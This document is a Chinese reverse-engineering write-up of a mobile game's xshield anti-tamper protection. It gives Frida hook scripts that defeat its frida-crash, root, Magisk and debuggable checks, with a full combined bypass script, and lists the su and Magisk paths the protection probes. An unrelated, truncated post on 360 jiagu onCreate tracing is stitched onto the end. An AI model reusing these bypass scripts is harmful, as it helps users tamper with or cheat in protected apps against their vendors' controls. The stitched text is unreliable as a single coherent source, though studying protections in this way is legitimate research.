1 2 3 4 5 6 7 | [RegisterNatives] java_class: com.xshield.da name: d sig: (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;IIIIIIII)Ljava/lang/String; fnPtr: 0x7137359258 fnOffset: 0x7137359258 libdxbase.so!0x18258 callee: 0x713736543c libdxbase.so!JNI_OnLoad+0x15e0 [RegisterNatives] java_class: com.xshield.da name: o sig: (II)I fnPtr: 0x7137348228 fnOffset: 0x7137348228 libdxbase.so!0x7228 callee: 0x713736543c libdxbase.so!JNI_OnLoad+0x15e0 [RegisterNatives] java_class: com.xshield.da name: p sig: (II)Ljava/lang/String; fnPtr: 0x7137347e78 fnOffset: 0x7137347e78 libdxbase.so!0x6e78 callee: 0x713736543c libdxbase.so!JNI_OnLoad+0x15e0 [RegisterNatives] java_class: com.xshield.da name: q sig: (Landroid/content/Context;ILjava/lang/String;)Ljava/lang/String; fnPtr: 0x7137360d60 fnOffset: 0x7137360d60 libdxbase.so!0x1fd60 callee: 0x713736543c libdxbase.so!JNI_OnLoad+0x15e0 |
結果是調用了reg_func_d
,但只有Enter而沒有Leave,因此檢測邏輯可能在reg_func_d
中。
reg_func_d
的邏輯有差不多2000行,懶得靜態一點一點分析了,直接動調看看是在哪裡crash的。
crash的位置是在exit_func(0xFFFFFFFE)
,而在調用exit_func
前進行了一些time diff的操作,並根據time diff來決定是否走到exit_func
那部份的邏輯。
本以為上面只是個普通的time diff調試檢測,但frida hook exit_func
並打印調用棧後發現是同一個地方,即frida hook時同樣會走到上述位置,然後調用exit_func
閃退。
深入分析上圖那部份邏輯,發現一旦走到上圖那位置後,最終必然會走向exit_func
。( 原因:sub_8250
返回固定值、time diff永遠大於v202
)。
1 2 3 4 | [exit_func] call in: 7bb25dab70 is in libdxbase.so offset: 0x1ab70 7c1f940354 is in libart.so offset: 0x140354 7c1f936470 is in libart.so offset: 0x136470 |
從上圖位置向上尋找「生路」,看到goto LABEL_215
,只要想辦法讓執行流進入任意一處goto LABEL_215
的邏輯,就能避免走到上面那條「絕路」。
嘗試走紅框那裡的goto LABEL_215
,條件1是*(_DWORD *)(import_data + 9972)
為0
,先嘗試滿足這條件。
交叉引用找(_DWORD *)(import_data + 9972)
賦值的地方,分析後可知v197
是time diff,但具體是什麼東西之間的time diff,並不能從偽代碼裡直接看出。
只能從匯編視圖看,上圖的some_timestamp
是由lstat
的buf
( x1
) + 0x68
賦值。( x0
為/sbin
)
而且[buf + 0x68]
的確是在調用lstat
後才有值,但buf
的結構為struct stat
,大小似乎小於0x68
,因此buf[0x68]
正常來說並不屬於struct stat
結構?猜測是內存對齊等原因導致的。
從內存分佈可以看出buf + 0x68
的位置應該是struct stat
最後一個屬性( struct stat
最後3個屬性都是時間 ),代表指定目錄\\"上次狀態的更改時間\\"
。
將0x67517B0D
轉換下:
與/sbin
的ls -l
顯示的日期一致。
用同樣方式找到time diff的另一個值,是0x676631AB
。
與/system/lib
的ls -l
顯示的日期一致。
計算這兩個時間的time diff目的是什麼?
\\n以下是普通Magisk環境的xiaomi手機,可以看到兩者的日期差很遠。
\\nsbin
的日期比較近是因為其中有個shamiko
文件,大概是啟用/關閉shamiko模塊時都會刷新其日期。
而/system/lib
的日期是一個超舊的時間。
小結:這部份計算的time diff是/system/lib
和/sbin
之間的\\"上次狀態的更改時間\\"
time diff,感覺這個time diff應該是在檢測Magisk之類的。
繼續向下看,判斷time diff是否大於0xF4240 sec,是則上述的條件1無法滿足。
\\n0xF4240 sec → 277 hrs 46 min 40 sec,正常手機環境下的time diff應該不會大於這個值。
\\n
bypass腳本:直接hook lstat
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | function hook_lstat() { let fake_time = Date.now(); Interceptor.attach(Module.findExportByName(null, \\"lstat\\" ), { onEnter: function(args) { this .name = args[0].readCString(); this .statbuf = args[1]; }, onLeave: function(retval) { if ( this .name == \\"/system/lib\\" ) { this .statbuf.add(0x68).writeU64(fake_time++); console. log ( \\"bypass lstat\\" ); } if ( this .name == \\"/sbin\\" ) { this .statbuf.add(0x68).writeU64(fake_time++); console. log ( \\"bypass lstat\\" ); } } }) } |
bypass這處time diff檢測後,Magisk環境的xiaomi手機依然會退出,大概是條件2check1_res == 9 || !check1_res
沒有滿足。
當check1
返回9
或0
都能滿足條件2。接下來看看check1
都檢測了什麼。
root檢測1:popen(\\"which su\\")
root檢測2:獲取了一堆可能存在su
的路徑,然後調用check_exist_in_different_way
檢測指定路徑是否存在。
check_exist_in_different_way
內創建了pthread_func2_check_path_exist
線程來處理。
其中用了以下方法來檢測傳入路徑是否存在:
\\nopenat
、syscall(__NR_openat)
、scandir
、lstat
、stat
、access
、readlink
注:檢測的路徑大概有以下這些
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | [decrypt1] 0x3a304 / system /bin/su [decrypt1] 0x3a2f4 / system /xbin/su [decrypt1] 0x3a313 / system /bin/.ext/.su [decrypt1] 0x3a328 / system /xbin/.tmpsu [decrypt1] 0x3a33c /vendor/bin/su [decrypt1] 0x3a34b /sbin/su [decrypt1] 0x3a354 / system /xbin/nosu [decrypt1] 0x3a366 / system /bin/nosu [decrypt1] 0x3a377 / system /xbin/su_bk [decrypt1] 0x3a38a / system /bin/su_bk [decrypt1] 0x3a39c / system /xbin/xsu [decrypt1] 0x3a3ad / system /xbin/suu [decrypt1] 0x3a3be / system /xbin/bstk/su [decrypt1] 0x3a3d3 / system /RootTools/su [decrypt1] 0x3a3e8 /data/data/bin/su [decrypt1] 0x3a3fa /data/data/in/su [decrypt1] 0x3a40b /data/data/n/bstk/su [decrypt1] 0x3a420 /data/data/xbin/su [decrypt1] 0x3a433 /res/su [decrypt1] 0x3a43b /data/local/bin/su [decrypt1] 0x3a44e /data/local/su [decrypt1] 0x3a45d /data/local/xbin/su [decrypt1] 0x3a471 / system /su [decrypt1] 0x3a47c /data/su [decrypt1] 0x3a485 /su/bin/su [decrypt1] 0x3a490 /su/bin/sush [decrypt1] 0x3a49d / system /bin/failsafe/su [decrypt1] 0x3a4b5 / system /sbin/su [decrypt1] 0x3a4c5 / system /sd/xbin/su [decrypt1] 0x3a4d8 / system /xbin/noxsu [decrypt1] 0x3a4eb /magisk/.core/bin/su [decrypt1] 0x3a500 /sbin/.magisk [decrypt1] 0x3a50e /sbin/.core [decrypt1] 0x3b0c3 / system /usr/we-need-root/su [decrypt1] 0x3b0df /cache/su [decrypt1] 0x3b0e9 /dev/su |
root檢測3:判斷fingerprint中是否包含user-debug
、eng/
、Custom Phone
。
對應的bypass腳本:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | function hook_popen() { Interceptor.attach(Module.findExportByName(null, \\"popen\\" ), { onEnter: function(args) { if (args[0].readCString().indexOf( \\" su\\" ) != -1) { console. log ( \\"[popen] which su -> which xx\\" ); Memory.writeUtf8String(args[0], \\"which xx\\" ); } } }) } // hook after dlopen libdxbase.so function hook_pthread_func2() { Interceptor.attach(base.add(0x983C), { onEnter: function(args) { let check_path = args[0].readPointer().readCString(); if (check_path.indexOf( \\"/su\\" ) != -1) { Memory.writeUtf8String(args[0].readPointer(), check_path.replace( \\"/su\\" , \\"/XX\\" )); // console.log(`[pthread_func2]: ${check_path} -> ${args[0].readPointer().readCString()}`); } if (check_path.indexOf( \\"magisk\\" ) != -1) { Memory.writeUtf8String(args[0].readPointer(), check_path.replace( \\"magisk\\" , \\"3Ag1sk\\" )); // console.log(`[pthread_func2]: ${check_path} -> ${args[0].readPointer().readCString()}`); } if (check_path.indexOf( \\"/sbin\\" ) != -1) { Memory.writeUtf8String(args[0].readPointer(), check_path.replace( \\"/sbin\\" , \\"/ABCD\\" )); // console.log(`[pthread_func2]: ${check_path} -> ${args[0].readPointer().readCString()}`); } // console.log(\\"[pthread_func2] check: \\", check_path); this .a0 = args[0]; } }) } |
上述地方都bypass後,frida終於不再閃退,但畫面上仍顯示ROOTED
。
而j.rjshqqeirnhhbc.mq
其實是Magisk隨機的包名,代表其實是Magisk被檢測到。
在bypass frida閃退後,hook decrypt1
保存一份相對完整的解密字符串,用以配合分析,記為decrypt_str.log
。
1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_decrypt1() { Interceptor.attach(base.add(0x5E84),{ onEnter(args){ this .a3 = args[3]; this .len = args[4].toInt32(); this .offset = this .a3.sub(base); }, onLeave(retval){ let dec_str = this .a3.readCString( this .len); console. log ( \\"[decrypt1] \\" , ptr( this .offset), dec_str); } }) } |
再次hook那4個動態注冊的函數,會發現除了調用1次reg_func_d
外,還不斷地在調用reg_func_p
、reg_func_q
,嘗試直接分析後2個函數,但沒有看出什麼。
改變思路,hook Java層的一些退出函數。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | function printStack(){ console. log (Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Exception\\" ).$ new ())) } function hook_leave_java() { Java.perform(() => { let System = Java.use( \\"java.lang.System\\" ); System. exit .implementation = function() { console. log ( \\"exit....\\" ) printStack() } let Process = Java.use( \\"android.os.Process\\" ); Process.killProcess.implementation = function() { console. log ( \\"killProcess....\\" ) printStack() } }) } |
發現觸發了System.exit
,調用棧如下,是由com.xshield.x.run
類調用的。
1 2 3 4 5 | exit .... java.lang.Exception at java.lang.System. exit (Native Method) at com.xshield.x.run(dd.java:186) at java.lang.Thread.run(Thread.java:919) |
Java層有混淆,用jeb打開可以默認去除一些簡單混淆( 如字符串混淆 ),方便分析。
\\n從com.xshield.x.run
向上跟到call_exit_thread_xref2
函數,看到\\"Scanrisk\\"
字符串本以為是相關邏輯,但hook後發現v2 == 0
,因此根本不會走任意一處\\"Scanrisk\\"
。
call_exit_thread_xref2
→ u.call_exit_thread_xref1
→ exit
。
嘗試直接讓call_exit_thread_xref2
函數固定返回1
,不走原本的邏輯。
結果是畫面不再顯示那個檢測介面,但過一段時間後同樣會退出,調用的是native層的exit_func
。
1 2 3 4 | [exit_func] call in: 7da42486a4 is in libdxbase.so offset: 0x86a4 7e96fb7894 is in libc.so offset: 0xe6894 7e96f55b70 is in libc.so offset: 0x84b70 |
由此猜測call_exit_thread_xref2
只是構建那個檢測介面的邏輯,真正檢測的地方在另一處。
在call_exit_thread_xref2
時機打印調用棧,繼續向上跟
1 2 3 4 5 6 7 8 9 10 11 | java.lang.Exception at com.xshield.da.IIiIiiIIII(Native Method) at com.xshield.da.IIiiiIIiIi(da.java:49) at com.xshield.k.run(da.java:103) at android.os.Handler.handleCallback(Handler.java:883) at android.os.Handler.dispatchMessage(Handler.java:100) at android.os.Looper.loop(Looper.java:224) at android.app.ActivityThread.main(ActivityThread.java:7520) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:539) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:950) |
com.xshield.k.run
如下,被檢測時走的是else分支,嘗試讓它走if分支。
結果同樣是畫面不再顯示那個檢測介面,但過一段時間後同樣會退出。因此還是要從native層入手。
\\n注:da.detectInfo
是我手動修改的名字。
全局搜detectInfo
( 不要只按x
找交叉引用,不太準 ),找到它是某次reg_func_q
調用的返回值。
在其上方是一個while
循環,根據特定的邏輯調用da.q
( 即reg_func_q
)。
hook da.q
,看到某次的result
果然是detectInfo
。
同樣可以見到某次reg_func_q
的參數是一堆包名,其中就包含j.rjshqqeirnhhbc.mq
。
因此可以猜測Magisk的檢測邏輯為:Java層收集安裝APP的包名、路徑等信息 → 調用da.q(ctx, 8, installed_app_info)
進行檢查 → 發現j.rjshqqeirnhhbc.mq
的某些特徵 → 判斷是Magisk。
根據猜測,嘗試置空da.q
參數中的j.rjshqqeirnhhbc.mq
,讓它不檢測j.rjshqqeirnhhbc.mq
。
結果是APP不再顯示那個檢測介面,也不會自動退出,成功bypass掉Magisk檢測。
\\n1 2 3 4 5 6 7 8 9 10 11 12 | function hook_reg_func_q() { let da = Java.use( \\"com.xshield.da\\" ); da[ \\"q\\" ].implementation = function (context, i, str) { // ;j.rjshqqeirnhhbc.mq;/data/app/j.rjshqqeirnhhbc.mq-YbP-hQjkQs0g9MZDz9dD0w==/base.apk;10205;tcp str = str.replace( \\";j.rjshqqeirnhhbc.mq;/data/app/j.rjshqqeirnhhbc.mq-YbP-hQjkQs0g9MZDz9dD0w==/base.apk;10205;tcp\\" , \\"\\" ) console. log (`da.q is called: i=${i}, str=${str}`); let result = this [ \\"q\\" ](context, i, str); console. log (`da.q result=${result}`); return result; }; } |
由此確定了檢測邏輯的確是在da.q(ctx, 8, installed_app_info)
( 必須是args[1]
為8
的情況,才是進行上述檢測 )。
回到native層的reg_func_q
分析檢測邏輯的具體實現,動調case 8的情況。
一開始先將傳入的installed_app_info
寫入cfdd35cd.dex
。
其中的內容如下:
\\n
最後會創建reg_func_q_pthread1
線程,裡面才是真正檢測的地方。
不知什麼原因,動調時始終無法斷在reg_func_q_pthread1
裡,因此只好通過hook和配合decrypt_str.log
來進行分析( 主要依賴這兩者來確定執行流 )。
打開XXX/base.apk
→ fd反查( IO重定向檢測 ) → 解析.apk
結構 → 獲取其AndroidManifest.xml
。
判斷AndroidManifest.xml
中,是否包含以下權限:
UPDATE_PACKAGES_WITHOUT_USER_ACTION
QUERY_ALL_PACKAGES
FOREGROUND_SERVICE
REQUEST_INSTALL_PACKAGES
HIDE_OVERLAY_WINDOWS
而原版的Magisk正好包含上述的所有權限。
\\n
僅憑權限來判斷,不會出現誤殺的情況?答案是會的,我在搜索相關資料時就發現有一堆用戶因被誤殺而在某論壇訴苦的情況,不過那時是21年,現在都25年了這問題應該也改善了不少。
\\n可以看到它加了一些白名單來防止誤殺那些具有上述權限的正常APP。
\\n
bypass腳本:hook openat
,將/data/app/j.rjshqqeirnhhbc.mq-YbP-hQjkQs0g9MZDz9dD0w==/base.apk
重定向為另一個正常apk。
注:這樣重向定不會被上述的fd反查檢測到,另一種Interceptor.replace
才會。
1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_openat() { Interceptor.attach(Module.findExportByName(null, \\"openat\\" ), { onEnter: function(args) { let path = args[1].readCString(); if (path.indexOf( \\"/data/app/j.rjshqqeirnhhbc\\" ) != -1 && path.indexOf( \\"base.apk\\" ) != -1) { Memory.writeUtf8String(args[1], \\"/data/local/tmp/base.apk\\" ); console. log ( \\"[openat] bypass: \\" , path, args[1].readCString()); } // Thread.backtrace(this.context, Backtracer.FUZZY).map(addr_in_so); } }) } |
上述腳本可以bypass Magisk檢測,但奇怪的是在hook_openat
之後,即使下一次沒有hook_openat
,依然不會再彈那個檢測介面,也不會退出。
連執行流也改變了,要重裝遊戲才會回復「正常」。感覺是該保護的一種BUG?不太確定。
\\n改AOSP / 修改AndroidManifest.xml
,這兩種賦予APP Debuggable權限的方法,都會被檢測到。
上次分析LIAPP時也有類似的檢測,那次沒分析明白,這次再來看看。
\\n
注:在分析過程中發現0xB11C
類似檢測處理函數,記為mb_detect_handler
。
hook mb_detect_handler
,在參數包含AndroidManifest.xml
時打印調用棧。
看到相關邏輯在0xb5bc
。
1 2 3 4 5 6 7 8 9 10 11 12 | [mb_detect_handler] 0x852 0x10000000 AndroidManifest.xml LR: 0x7bb250b5bc Function: 0xb5bc moduleName: libdxbase.so LR: 0x7ca37b6730 Function: _ZL15__pthread_startPv+0x28 moduleName: libc.so LR: 0x7ca3757008 Function: __start_thread+0x44 moduleName: libc.so |
記0xb5bc
為detected_APKMODE
,繼續向上跟,看到是由g_APKMODE_flag1
和g_APKMODE_flag2
決定是否創建detected_APKMODE
線程的。
按x
沒有看到g_APKMODE_flag1
和g_APKMODE_flag2
賦值的地方,嘗試使用frida的內存斷點,但沒什麼效果。
改用這篇文章自己實現的frida內存斷點,成功命中:
\\n1 2 3 4 5 | // 用法: readwritebreak(base.add(0x3D700), 4, 1) 命中 : 0x7bb253e700 pc pointer : 0x7bb2519f0c { \\"name\\" : \\"libdxbase.so\\" , \\"base\\" : \\"0x7bb2501000\\" , \\"size\\" :258048, \\"path\\" : \\"/data/app/com.wemade.nightcrows-3nZhg8hrtpfvU8YQT2BvZw==/lib/arm64/libdxbase.so\\" } pc - - > libdxbase.so -> 0x18f0c readwritebreak exit |
去libdxbase.so!0x18f0c
看看( 這裡位於reg_func_d
)。
似乎import_data + 9984
就是g_APKMODE_flag1
( 動調後發現的確如此 ),值來源是a19
。
hook reg_func_d
,在enter和leave時分別打印,的確是在leave時才有值,即g_APKMODE_flag
都是在reg_func_d
中賦值。
而a19
其實就是reg_func_d
的args[18]
( 倒數第3個參數 )。
看Java層是怎樣傳值的,原來是ApplicationInfo
的flags
屬性。
hook Java層的reg_func_d
,去掉FLAG_DEBUGGABLE
標誌。
結果是遊戲終於不再顯示APKMOD
檢測介面,順利bypass它的Debuggable檢測。
1 2 3 4 5 6 7 8 9 10 11 | function hook_reg_func_d() { let da = Java.use( \\"com.xshield.da\\" ); da[ \\"d\\" ].implementation = function (str, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, i9, i10, i11, i12, i13, i14, i15, i16) { const FLAG_DEBUGGABLE = 0x2; i14 &= (~FLAG_DEBUGGABLE); console. log (`da.d is called: str=${str}, str2=${str2}, str3=${str3}, str4=${str4}, str5=${str5}, str6=${str6}, str7=${str7}, str8=${str8}, str9=${str9}, str10=${str10}, str11=${str11}, i9=${i9}, i10=${i10}, i11=${i11}, i12=${i12}, i13=${i13}, i14=${i14}, i15=${i15}, i16=${i16}`); let result = this [ \\"d\\" ](str, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, i9, i10, i11, i12, i13, i14, i15, i16); console. log (`da.d result=${result}`); return result; }; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | function hook_dlopen(soName) { Interceptor.attach(Module.findExportByName(null, \\"dlopen\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); // console.log(\\"[dlopen] \\", path); if (path.indexOf(soName) >= 0) { this .is_can_hook = true ; } } }, onLeave: function (retval) { if ( this .is_can_hook) { console. log ( \\"hook start...\\" ); hook_func(soName) } } } ); Interceptor.attach(Module.findExportByName(null, \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); // console.log(\\"[android_dlopen_ext] \\", path); if (path.indexOf(soName) >= 0) { this .is_can_hook = true ; } } }, onLeave: function (retval) { if ( this .is_can_hook) { console. log ( \\"hook start...\\" ); hook_func(soName) } } } ); } function hook_func(soName) { var base = Module.findBaseAddress(soName); function hook_pthread_func2() { Interceptor.attach(base.add(0x983C), { onEnter: function(args) { // bypass root check2 let check_path = args[0].readPointer().readCString(); if (check_path.indexOf( \\"/su\\" ) != -1) { Memory.writeUtf8String(args[0].readPointer(), check_path.replace( \\"/su\\" , \\"/XX\\" )); } if (check_path.indexOf( \\"magisk\\" ) != -1) { Memory.writeUtf8String(args[0].readPointer(), check_path.replace( \\"magisk\\" , \\"3Ag1sk\\" )); } if (check_path.indexOf( \\"/sbin\\" ) != -1) { Memory.writeUtf8String(args[0].readPointer(), check_path.replace( \\"/sbin\\" , \\"/ABCD\\" )); } } }) } function hook_openat() { Interceptor.attach(Module.findExportByName(null, \\"openat\\" ), { onEnter: function(args) { let path = args[1].readCString(); // bypass Magisk check if (path.indexOf( \\"/data/app/j.rjshqqeirnhhbc\\" ) != -1 && path.indexOf( \\"base.apk\\" ) != -1) { Memory.writeUtf8String(args[1], \\"/data/local/tmp/base.apk\\" ); console. log ( \\"[openat] bypass: \\" , path, args[1].readCString()); } } }) } hook_pthread_func2(); hook_openat(); } function hook_lstat() { let fake_time = Date.now(); // bypass frida crash Interceptor.attach(Module.findExportByName(null, \\"lstat\\" ), { onEnter: function(args) { this .name = args[0].readCString(); this .statbuf = args[1]; }, onLeave: function(retval) { if ( this .name == \\"/system/lib\\" ) { this .statbuf.add(0x68).writeU64(fake_time++); console. log ( \\"bypass lstat\\" ); } if ( this .name == \\"/sbin\\" ) { this .statbuf.add(0x68).writeU64(fake_time++); console. log ( \\"bypass lstat\\" ); } } }) } function hook_popen() { Interceptor.attach(Module.findExportByName(null, \\"popen\\" ), { onEnter: function(args) { if (args[0].readCString().indexOf( \\" su\\" ) != -1) { // bypass root check1 console. log ( \\"[popen] which su -> which xx\\" ); Memory.writeUtf8String(args[0], \\"which xx\\" ); } } }) } function printStack(){ console. log (Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Exception\\" ).$ new ())) } function hook_java() { Java.perform(() => { function hook_reg_func_d() { let da = Java.use( \\"com.xshield.da\\" ); da[ \\"d\\" ].implementation = function (str, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, i9, i10, i11, i12, i13, i14, i15, i16) { // bypasss debuggalbe const FLAG_DEBUGGABLE = 0x2; i14 &= (~FLAG_DEBUGGABLE); console. log (`da.d is called: str=${str}, str2=${str2}, str3=${str3}, str4=${str4}, str5=${str5}, str6=${str6}, str7=${str7}, str8=${str8}, str9=${str9}, str10=${str10}, str11=${str11}, i9=${i9}, i10=${i10}, i11=${i11}, i12=${i12}, i13=${i13}, i14=${i14}, i15=${i15}, i16=${i16}`); let result = this [ \\"d\\" ](str, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, i9, i10, i11, i12, i13, i14, i15, i16); console. log (`da.d result=${result}`); return result; }; } hook_reg_func_d(); }) } function main() { hook_dlopen( \\"libdxbase.so\\" ); hook_lstat(); hook_popen(); hook_java(); } setImmediate(main) |
總的來說這個保護與之前分析的LIAPP差不多,都不難,只是比較麻煩。
\\n( 各位有好玩的遊戲樣本也可以分享給我,有空會看看的^^ )
复现完oacia师傅的文章,360加固dex解密流程分析 | oacia = oaciaのBbBlog~ = DEVIL or SWEET
想继续来看看onCreate怎么实现的,继续使用oacia师傅的加固app
onCreate函数被注册为native函数
Init函数,attachBaseContext函数,都没有什么可用的线索。发现static函数里有一个jni函数interface11,
在attachBaseContext执行之前。所有 static {}
代码块会在类加载时执行(Application
类的 constructor
之前)
使用yang神的脚本,拦截JNI注册函数RegisterNative找到函数的地址
[RegisterNatives] java_class: com.stub.StubApp name: interface11 sig: (I)V fnPtr: 0x73fd0bb9d8 module_name: libjiagu_64.so module_base: 0x73fcf82000 offset: 0x1399d8
直接来看汇编代码,前面都是一些线程检测,以及寄存器操作等,来到最后跳转的是x8寄存器的值,没法直接反编译
用stalker,跟踪x8寄存器的变化,来打印跳转
function hookTargetFunc() {
var baseAddr = Module.findBaseAddress(TargetLibName)
//console.log(TargetLibName + \\" Module Base: \\" + baseAddr);
if (baseAddr == null) {
console.log(\'Please makesure \' + TargetLibName + \' is Loaded, by setting extractNativeLibs true.\');
return;
}
// hook指定的函数地址
Interceptor.attach(baseAddr.add(TargetFuncOffset), {
onEnter: function (args) {
console.log(\'\\\\nCall \' + TargetFuncOffset.toString(16).toUpperCase() + \' In\')
this.tid = Process.getCurrentThreadId();
var so_addr = Module.findBaseAddress(so_name);
var so_size = Process.getModuleByName(so_name).size;
Stalker.follow(this.tid, {
events: {
call: true, // CALL instructions: yes please
// Other events:
ret: false, // RET instructions
exec: false, // all instructions: not recommended as it\'s
// a lot of data
block: false, // block executed: coarse execution trace
compile: false // block compiled: useful for coverage
},
onReceive: function () {
},
transform: function (iterator) {
var instruction = iterator.next();
const startAddress = instruction.address;
if (startAddress){
do{
if (instruction.mnemonic.startsWith(\'br\')||instruction.mnemonic.startsWith(\'blr\')||instruction.mnemonic.startsWith(\'bl\')) {
try {
iterator.putCallout(function (context) {
var pc = context.pc; //获取pc寄存器,当前地址
var lr = context.lr;
var x8 = context.x8; //获取x8寄存器,
var module = Process.findModuleByAddress(pc);
if (module) {
try{
console.log(module.name + \\"!\\" +Memory.readCString(ptr(x8)));
}
catch (e){
}
console.log(\\"x8 ====\\" + DebugSymbol.fromAddress(ptr(x8)));
}
});
} catch (e) {
console.log(\\"error\\", e)
}
}
iterator.keep();
} while ((instruction = iterator.next()) !== null);
}
},
onCallSummary(summary) {
}
})
}, onLeave: function (retVal) {
console.log(\'Call \' + TargetFuncOffset.toString(16).toUpperCase() + \' Out\\\\n\')
Stalker.unfollow(this.tid)
}
})
}
根据trcace发现了两处oncreate,看看的后一个地址干了什么
x8 ====0x7bfee7fe0c libjiagu_64.so!0x139e0c
x8 ====0x7bfee7fe64 libjiagu_64.so!0x139e64
x8 ====0x7bfee7fe7c libjiagu_64.so!0x139e7c//似乎是重点的
x8 ====0x7bfee80460 libjiagu_64.so!0x13a460//拷贝操作
x8 ====0x7bfee7fe8c libjiagu_64.so!0x139e8c
x8 ====0x7bfee7ff60 libjiagu_64.so!0x139f60 //来到复杂函数 sub_19DCA4
x8 ====0x7bfee7ffa0 libjiagu_64.so!0x139fa0//拷贝
x8 ====0x7bfee7ffc4 libjiagu_64.so!0x139fc4
x8 ====0x7bfee8010c libjiagu_64.so!0x13a10c
x8 ====0x7bfee80140 libjiagu_64.so!0x13a140
x8 ====0x7bfee80170 libjiagu_64.so!0x13a170
//oncreate
x8 ====0x7bfee80194 libjiagu_64.so!0x13a194
x8 ====0x7bfee801fc libjiagu_64.so!0x13a1fc
x8 ====0x7bfee804e4 libjiagu_64.so!0x13a4e4
x8 ====0x7bfee8024c libjiagu_64.so!0x13a24c
x8 ====0x7bfee80264 libjiagu_64.so!0x13a264//进程检测mutex_lock
//前面似乎一些栈的操作,然后寄存器发生变化
x8 ====0x7bfee802e8 libjiagu_64.so!0x13a2e8//
x8 ====0x7bfee80328 libjiagu_64.so!0x13a328//内存
x8 ====0x7bfee7fe64 libjiagu_64.so!0x139e64
x8 ====0x7bfee80600 libjiagu_64.so!0x13a600
x8 ====0x7bfee8061c libjiagu_64.so!0x13a61c
//然后出现下一个oncreate
后一个oncreate,都是一些内存和栈的操作。
x8 ====0x7bfee807ac libjiagu_64.so!0x13a7ac//下一步跳转
x8 ====0x7bfee807b8 libjiagu_64.so!0x13a7b8
x8 ====0x7bfee807f4 libjiagu_64.so!0x13a7f4
x8 ====0x7bfee80808 libjiagu_64.so!0x13a808
x8 ====0x7bfee80810 libjiagu_64.so!0x13a810
x8 ====0x7bfee8082c libjiagu_64.so!0x13a82c
x8 ====0x7bfee80854 libjiagu_64.so!0x13a854
x8 ====0x7bfee80854 libjiagu_64.so!0x13a854
x8 ====0x7bfee80838 libjiagu_64.so!0x13a838
x8 ====0x7bfee807e0 libjiagu_64.so!0x13a7e0
x8 ====0x7bfee807f4 libjiagu_64.so!0x13a7f4
x8 ====0x7bfee80870 libjiagu_64.so!0x13a870
x8 ====0x7bfee8087c libjiagu_64.so!0x13a87c
x8 ====0x7bfee80894 libjiagu_64.so!0x13a894
x8 ====0x7bfee80894 libjiagu_64.so!0x13a894
x8 ====0x7bfee80894 libjiagu_64.so!0x13a894
x8 ====0x7bfee80894 libjiagu_64.so!0x13a894
x8 ====0x7bfee808c4 libjiagu_64.so!0x13a8c4
x8 ====0x7bfee808dc libjiagu_64.so!0x13a8dc
x8 ====0x7bfee808e8 libjiagu_64.so!0x13a8e8
0x13a170函数之后出现了第一个onCreate,blr x8进入关键部分。
jnitrace看一下流程
jnitrace -l libjiagu_64.so com.oacia.apk_protect
x8 ====0x7c166e43c0 libart.so!_ZN3art3JNI11GetMethodIDEP7_JNIEnvP7_jclassPKcS6_//JNIEnv->GetMethodID()
x8 ====0x7c164d6a1c libart.so!_ZN3art11ClassLinker15InitializeClassEPNS_6ThreadENS_6HandleINS_6mirror5ClassEEEbb
libart.so!•<clinit> //在类加载过程中执行
libart.so!•<clinit>
libart.so!•<init>
libart.so!•<init>
bytesToHex
bytesToHex
libart.so!•enc2//似乎是m进程检测的关键数据
libart.so!•enc2
libart.so!•onCreate
libart.so!•onCreate
libart.so!•Landroid/os/Bundle;
libart.so!•Landroid/os/Bundle;
接下来关键操作分析0x13a61c函数之后出现了第二个oncreate,同样是blr x8,进入jni函数了。
x8 ====0x7c1671e4d4 libart.so!_ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi//JNIEnv->RegisterNatives()
libart.so!•enc2
libart.so!•enc2
libart.so!•onCreate
libart.so!•onCreate
libart.so!•Landroid/os/Bundle;
libart.so!•Landroid/os/Bundle;
x8 ====0x7c169d0160 libart.so!_ZN3art7Runtime9instance_E
x8 ====0x7c169d0160 libart.so!_ZN3art7Runtime9instance_E
x8 ====0x7c16723374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv// JNIEnv->ExceptionCheck()
可以确定,interface11方法将onCreate注册某个native方法上
我们去hook一下 _ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi找地址
function traceRegisterNatives() {
var RegisterNativesaddr = null;
var libartmodule = Process.getModuleByName(\\"libart.so\\");
libartmodule.enumerateSymbols().forEach(function (symbol) {
